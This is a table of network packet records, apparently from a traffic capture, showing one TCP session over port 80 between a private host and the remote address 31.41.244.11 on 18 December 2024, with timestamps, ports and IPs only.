Dec 18, 2024 15:56:16.364572048 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.364614964 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.364963055 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.365899086 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.493280888 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.493324995 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.493484974 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.493733883 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.493922949 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.493974924 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.494278908 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.494327068 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.494384050 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.495028019 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.495078087 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.523140907 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.523156881 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.523243904 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.523334026 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.523365021 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.523395061 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.523839951 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.523907900 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.523921967 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.523933887 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.523946047 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.523951054 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.523957014 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.523972034 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.524007082 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.524225950 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.524302006 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.524346113 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.524954081 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.525001049 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.525158882 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.525732994 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.525778055 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.525891066 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.526417017 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.526467085 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.526506901 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.527131081 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.527184963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.527226925 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.527834892 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.527961016 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.528037071 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.528079987 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.528578997 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.528656006 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.528687954 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.528743029 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.529370070 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.529428005 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.529455900 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.529515028 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.530112982 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.530168056 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.530225039 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.531094074 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.531141043 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.531161070 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.531620979 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.531670094 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.531744957 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.531829119 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.532284021 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.532598972 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.532645941 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.532944918 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.533067942 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.533113003 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.533757925 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.533905983 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.533957005 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.534622908 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.534679890 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.534735918 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.535237074 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.535346985 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.535398960 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.536103010 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.536175013 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.536221027 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.536708117 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.536756039 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.536840916 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.537373066 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.537420034 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.537626028 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.538080931 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.538122892 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.538167953 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.539022923 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.539068937 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.539079905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.539835930 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.539990902 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.540122032 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.540170908 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.540872097 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.541320086 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.541369915 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.542135000 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.542181969 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.542208910 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.542834044 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.542881966 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.542932987 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.543373108 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.543421030 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.543462992 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.543838024 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.543876886 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.544030905 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.544136047 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.544332027 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.544472933 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.544516087 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.545002937 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.545053959 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.545078993 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.545645952 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.545691013 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.545706034 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.546283960 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.546331882 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.546436071 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.547079086 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.547130108 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.547266006 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.547840118 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.548248053 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.548407078 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.548449039 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.548830032 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.548892975 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.548947096 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.549298048 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.549341917 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.549388885 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.550142050 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.550185919 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.550208092 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.550219059 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.550789118 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.550885916 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.550935984 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.551341057 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.551377058 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.551422119 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.551908016 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.551960945 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.552016973 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.552743912 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.552803040 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.552820921 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.553353071 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.553407907 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.553442955 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.554121971 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.554172993 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.554207087 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.554250956 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.554833889 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.554963112 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.555015087 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.555618048 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.555731058 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.555782080 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.556277037 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.556385040 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.556430101 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.557024956 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.557146072 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.557193995 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.685792923 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.685878038 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.685885906 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.685925007 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.686084032 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.686183929 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.686232090 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.686841965 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.686892033 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.686943054 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.686985970 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.687638044 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.687685013 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.722634077 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.722692966 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.722737074 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.722776890 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.722958088 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.722996950 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.723105907 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.723150015 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.723778963 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.723822117 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.723830938 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.723870993 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.724415064 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.724462986 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.724525928 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.724564075 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.725131989 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.725173950 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.725239992 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.725547075 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.725882053 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.725924969 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.725970984 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.726008892 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.726747990 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.726788998 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.726846933 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.726888895 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.727691889 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.727703094 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.727734089 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.728100061 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.728138924 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.728212118 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.728255987 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.728924036 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.728967905 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.729046106 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.729084015 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.729496002 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.729536057 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.729604959 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.729649067 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.730257988 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.730300903 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.730309963 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.730351925 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.730972052 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.731014967 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.731081009 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.731125116 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.731714010 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.731756926 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.731812000 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.731853008 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.732462883 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.732503891 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.732546091 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.732587099 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.733129025 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.733175993 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.733251095 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.733292103 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.733897924 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.733942986 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.734091043 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.734127998 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.734586000 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.734743118 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.734796047 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.735331059 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.735373974 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.735440016 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.735481977 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.736030102 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.736073017 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.736135006 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.736176014 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.736790895 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.736839056 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.736865044 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.736901999 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.737504005 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.737575054 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.737601995 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.737643957 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.738228083 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.738276958 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.738322020 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.738365889 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.738951921 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.739000082 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.739098072 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.739151955 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.739733934 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.739784956 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.739902973 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.739948988 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.740443945 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.740489006 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.740626097 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.740667105 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.741214037 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.741261959 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.741323948 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.741369963 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.741871119 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.741921902 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.741947889 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.741996050 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.742609024 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.742652893 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.742754936 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.742795944 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.743614912 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.743627071 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.743666887 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.744107962 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.744152069 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.744187117 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.744234085 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.744776011 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.744827032 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.744879961 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.744926929 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.745482922 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.745533943 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.745595932 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.745640039 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.746239901 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.746282101 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.746301889 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.746391058 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.747052908 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.747097015 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.747100115 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.747143030 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.747713089 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.747761011 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.747858047 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.747904062 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.748486996 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.748538017 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.748631001 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.748677015 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.749160051 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.749208927 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.749212027 CET	80	49749	31.41.244.11	192.168.2.10
Dec 18, 2024 15:56:16.749298096 CET	49749	80	192.168.2.10	31.41.244.11
Dec 18, 2024 15:56:16.749893904 CET	80	49749	31.41.244.11	192.168.2.10
